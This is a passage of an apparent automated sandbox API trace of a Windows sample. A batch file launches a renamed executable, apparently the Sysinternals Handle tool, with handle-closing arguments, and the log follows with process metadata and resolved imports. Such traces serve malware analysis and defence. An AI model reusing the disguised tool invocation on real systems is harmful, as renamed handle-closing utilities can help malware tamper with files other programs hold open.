(HeapHandle=0x530000, Flags=0x0, MemoryPointer=0x5463e8) returned 0x9e [0075.908] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x546439, cbMultiByte=73, lpWideCharStr=0x5463f0, cchWideChar=73 | out: lpWideCharStr="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n\r\r\n") returned 73 [0075.909] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f2c4 | out: _Buffer="\r\n") returned 2 [0075.909] _get_osfhandle (_FileHandle=1) returned 0x7 [0075.909] GetFileType (hFile=0x7) returned 0x2 [0075.909] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0075.910] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f284 | out: lpMode=0x26f284) returned 1 [0075.910] _get_osfhandle (_FileHandle=1) returned 0x7 [0075.910] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f2b0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f2b0*=0x2) returned 1 [0075.913] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0075.913] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x26f2c0 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0075.913] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x26f2c0 | out: _Buffer=">") returned 1 [0075.913] _get_osfhandle (_FileHandle=1) returned 0x7 [0075.913] GetFileType (hFile=0x7) returned 0x2 [0075.913] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0075.913] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f288 | out: lpMode=0x26f288) returned 1 [0075.914] _get_osfhandle (_FileHandle=1) returned 0x7 [0075.914] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x26f2b4, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x26f2b4*=0x26) returned 1 [0075.914] _get_osfhandle (_FileHandle=1) returned 0x7 [0075.914] GetFileType (hFile=0x7) returned 0x2 [0075.914] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0075.914] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f50c | out: lpMode=0x26f50c) returned 1 [0075.915] _get_osfhandle (_FileHandle=1) returned 0x7 [0075.915] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x26f538, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x26f538*=0x1) returned 1 [0075.915] _get_osfhandle (_FileHandle=1) returned 0x7 [0075.915] GetFileType (hFile=0x7) returned 0x2 [0075.915] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0075.915] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f4f0 | out: lpMode=0x26f4f0) returned 1 [0075.916] _get_osfhandle (_FileHandle=1) returned 0x7 [0075.916] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x554ab8*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x26f51c, lpReserved=0x0 | out: lpBuffer=0x554ab8*, lpNumberOfCharsWritten=0x26f51c*=0xc) returned 1 [0075.916] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x26f528 | out: _Buffer=" -accepteula -c Run -y -p extract -nobanner ") returned 44 [0075.916] _get_osfhandle (_FileHandle=1) returned 0x7 [0075.916] GetFileType (hFile=0x7) returned 0x2 [0075.916] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0075.916] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f4e8 | out: lpMode=0x26f4e8) returned 1 [0075.916] _get_osfhandle (_FileHandle=1) returned 0x7 [0075.916] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2c, lpNumberOfCharsWritten=0x26f514, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f514*=0x2c) returned 1 [0075.918] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x26f544 | out: _Buffer=") ") returned 2 [0075.918] _get_osfhandle (_FileHandle=1) returned 0x7 [0075.918] GetFileType (hFile=0x7) returned 0x2 [0075.918] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0075.918] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f504 | out: lpMode=0x26f504) returned 1 [0075.919] _get_osfhandle (_FileHandle=1) returned 0x7 [0075.919] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f530, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f530*=0x2) returned 1 [0075.919] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f564 | out: _Buffer="\r\n") returned 2 [0075.919] _get_osfhandle (_FileHandle=1) returned 0x7 [0075.919] GetFileType (hFile=0x7) returned 0x2 [0075.919] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0075.919] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f524 | out: lpMode=0x26f524) returned 1 [0075.920] _get_osfhandle (_FileHandle=1) returned 0x7 [0075.920] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f550, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f550*=0x2) returned 1 [0075.921] GetConsoleTitleW (in: lpConsoleTitle=0x26f074, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0075.921] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0075.921] GetProcessHeap () returned 0x530000 [0075.921] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x120) returned 0x5467a8 [0075.922] GetProcessHeap () returned 0x530000 [0075.922] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x238) returned 0x5468d0 [0075.922] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x26e930, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26e930) returned 0x546a80 [0075.922] FindClose (in: hFindFile=0x546a80 | out: hFindFile=0x546a80) returned 1 [0075.922] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0075.922] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0075.922] GetConsoleTitleW (in: lpConsoleTitle=0x26ee08, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0075.922] InitializeProcThreadAttributeList (in: lpAttributeList=0x26ec90, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x26ed58 | out: lpAttributeList=0x26ec90, lpSize=0x26ed58) returned 1 [0075.922] UpdateProcThreadAttribute (in: lpAttributeList=0x26ec90, dwFlags=0x0, Attribute=0x60001, lpValue=0x26ed50, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x26ec90, lpPreviousValue=0x0) returned 1 [0075.922] GetStartupInfoW (in: lpStartupInfo=0x26ec4c | out: lpStartupInfo=0x26ec4c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0075.933] CloseHandle (hObject=0x84) returned 1 [0075.933] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0075.933] GetProcessHeap () returned 0x530000 [0075.933] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x549658 | out: hHeap=0x530000) returned 1 [0075.933] GetEnvironmentStringsW () returned 0x548ac8* [0075.933] GetProcessHeap () returned 0x530000 [0075.933] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xb88) returned 0x549658 [0075.933] FreeEnvironmentStringsW (penv=0x548ac8) returned 1 [0075.933] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0080.076] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x26ec2c | out: lpExitCode=0x26ec2c*=0x0) returned 1 [0080.076] CloseHandle (hObject=0x74) returned 1 [0080.076] _vsnwprintf (in: _Buffer=0x26ed74, _BufferCount=0x13, _Format="%08X", _ArgList=0x26ec38 | out: _Buffer="00000000") returned 8 [0080.076] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0080.076] GetProcessHeap () returned 0x530000 [0080.076] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x549658 | out: hHeap=0x530000) returned 1 [0080.076] GetEnvironmentStringsW () returned 0x548ac8* [0080.076] GetProcessHeap () returned 0x530000 [0080.076] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xb88) returned 0x549658 [0080.076] FreeEnvironmentStringsW (penv=0x548ac8) returned 1 [0080.077] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0080.077] GetProcessHeap () returned 0x530000 [0080.077] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x549658 | out: hHeap=0x530000) returned 1 [0080.077] GetEnvironmentStringsW () returned 0x548ac8* [0080.077] GetProcessHeap () returned 0x530000 [0080.077] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xb88) returned 0x549658 [0080.077] FreeEnvironmentStringsW (penv=0x548ac8) returned 1 [0080.077] GetProcessHeap () returned 0x530000 [0080.077] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x530dd0 | out: hHeap=0x530000) returned 1 [0080.077] DeleteProcThreadAttributeList (in: lpAttributeList=0x26ec90 | out: lpAttributeList=0x26ec90) [0080.077] _get_osfhandle (_FileHandle=1) returned 0x7 [0080.077] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0080.077] _get_osfhandle (_FileHandle=1) returned 0x7 [0080.077] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0080.078] _get_osfhandle (_FileHandle=0) returned 0x3 [0080.078] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0080.078] SetConsoleInputExeNameW () returned 0x1 [0080.078] GetConsoleOutputCP () returned 0x1b5 [0080.078] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0080.078] SetThreadUILanguage (LangId=0x0) returned 0x409 [0080.078] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x26f65c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0080.079] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0080.079] _get_osfhandle (_FileHandle=3) returned 0x74 [0080.079] SetFilePointer (in: hFile=0x74, lDistanceToMove=226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0080.079] GetProcessHeap () returned 0x530000 [0080.079] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546a00 | out: hHeap=0x530000) returned 1 [0080.079] GetProcessHeap () returned 0x530000 [0080.079] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5468d0 | out: hHeap=0x530000) returned 1 [0080.079] GetProcessHeap () returned 0x530000 [0080.079] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5467a8 | out: hHeap=0x530000) returned 1 [0080.079] GetProcessHeap () returned 0x530000 [0080.079] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546730 | out: hHeap=0x530000) returned 1 [0080.079] GetProcessHeap () returned 0x530000 [0080.079] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5466a8 | out: hHeap=0x530000) returned 1 [0080.079] GetProcessHeap () returned 0x530000 [0080.079] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546490 | out: hHeap=0x530000) returned 1 [0080.079] GetProcessHeap () returned 0x530000 [0080.079] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x554af8 | out: hHeap=0x530000) returned 1 [0080.079] GetProcessHeap () returned 0x530000 [0080.079] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x554ab0 | out: hHeap=0x530000) returned 1 [0080.079] GetProcessHeap () returned 0x530000 [0080.079] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x530de8 | out: hHeap=0x530000) returned 1 [0080.079] GetProcessHeap () returned 0x530000 [0080.080] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5463c8 | out: hHeap=0x530000) returned 1 [0080.080] GetProcessHeap () returned 0x530000 [0080.080] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x530e00 | out: hHeap=0x530000) returned 1 [0080.080] GetProcessHeap () returned 0x530000 [0080.080] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5455e8 | out: hHeap=0x530000) returned 1 [0080.080] GetProcessHeap () returned 0x530000 [0080.080] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546368 | out: hHeap=0x530000) returned 1 [0080.080] GetProcessHeap () returned 0x530000 [0080.080] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x53f4e0 | out: hHeap=0x530000) returned 1 [0080.080] GetProcessHeap () returned 0x530000 [0080.080] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546308 | out: hHeap=0x530000) returned 1 [0080.080] GetProcessHeap () returned 0x530000 [0080.080] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5462a8 | out: hHeap=0x530000) returned 1 [0080.080] GetProcessHeap () returned 0x530000 [0080.080] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546228 | out: hHeap=0x530000) returned 1 [0080.080] GetProcessHeap () returned 0x530000 [0080.080] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5461d0 | out: hHeap=0x530000) returned 1 [0080.080] GetProcessHeap () returned 0x530000 [0080.080] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5312a0 | out: hHeap=0x530000) returned 1 [0080.080] GetProcessHeap () returned 0x530000 [0080.080] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546180 | out: hHeap=0x530000) returned 1 [0080.080] GetProcessHeap () returned 0x530000 [0080.080] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x531240 | out: hHeap=0x530000) returned 1 [0080.080] _get_osfhandle (_FileHandle=3) returned 0x74 [0080.080] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0080.080] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x26f640, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x26f640*=0x0, lpOverlapped=0x0) returned 1 [0080.080] GetLastError () returned 0x0 [0080.080] _get_osfhandle (_FileHandle=3) returned 0x74 [0080.080] GetFileType (hFile=0x74) returned 0x1 [0080.080] _get_osfhandle (_FileHandle=3) returned 0x74 [0080.080] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0080.081] GetProcessHeap () returned 0x530000 [0080.081] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x400a) returned 0x554ab0 [0080.081] GetProcessHeap () returned 0x530000 [0080.081] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x554ab0 | out: hHeap=0x530000) returned 1 [0080.081] _get_osfhandle (_FileHandle=3) returned 0x74 [0080.081] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0080.081] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x26f624, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x26f624*=0x0, lpOverlapped=0x0) returned 1 [0080.081] GetLastError () returned 0x0 [0080.081] _get_osfhandle (_FileHandle=3) returned 0x74 [0080.081] GetFileType (hFile=0x74) returned 0x1 [0080.081] _get_osfhandle (_FileHandle=3) returned 0x74 [0080.081] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0080.081] GetProcessHeap () returned 0x530000 [0080.081] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x400a) returned 0x554ab0 [0080.081] GetProcessHeap () returned 0x530000 [0080.081] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x554ab0 | out: hHeap=0x530000) returned 1 [0080.081] longjmp () [0080.081] _tell (_FileHandle=3) returned 226 [0080.081] _close (_FileHandle=3) returned 0 [0080.081] CmdBatNotification () returned 0x0 [0080.081] _get_osfhandle (_FileHandle=1) returned 0x7 [0080.082] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0080.082] _get_osfhandle (_FileHandle=1) returned 0x7 [0080.082] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0080.082] _get_osfhandle (_FileHandle=0) returned 0x3 [0080.082] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0080.082] SetConsoleInputExeNameW () returned 0x1 [0080.082] GetConsoleOutputCP () returned 0x1b5 [0080.083] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0080.083] SetThreadUILanguage (LangId=0x0) returned 0x409 [0080.083] exit (_Code=0) Process: id = "25" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x28c27000" os_pid = "0xbb0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0xbbc" cmd_line = "bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 112 os_tid = 0x114 [0056.986] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0056.988] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0056.988] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0056.988] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0056.988] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0056.988] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0056.988] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0056.988] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0056.988] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0056.988] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0056.988] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0056.989] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0056.989] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0056.989] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0056.989] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0056.989] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0056.989] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0056.989] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0056.989] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0056.989] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0056.989] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0056.989] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0056.989] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0056.989] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0056.990] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0056.990] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0056.990] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0056.990] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0056.990] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0056.990] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0056.990] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0056.990] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0056.990] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0056.990] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0056.990] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0056.990] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0056.990] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0056.990] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0056.991] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0056.991] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0056.991] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0056.991] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0056.991] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0056.991] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0056.991] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0056.991] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0056.991] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0056.991] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0056.991] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0056.991] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0056.991] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0056.991] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0056.991] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0056.992] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0056.992] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0056.992] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0056.992] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0056.992] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0056.992] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0056.992] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0056.992] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0056.992] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0056.992] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0056.992] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0056.992] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0056.992] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0056.992] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0056.992] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0056.993] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0056.993] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0056.993] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0056.993] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0056.993] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0056.993] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0056.993] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0056.993] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0056.993] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0056.993] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0056.993] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0056.993] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0056.993] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0056.993] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0056.994] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0056.994] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0056.994] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0056.994] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0056.994] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0056.994] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0056.994] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0056.994] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0056.994] LoadLibraryA 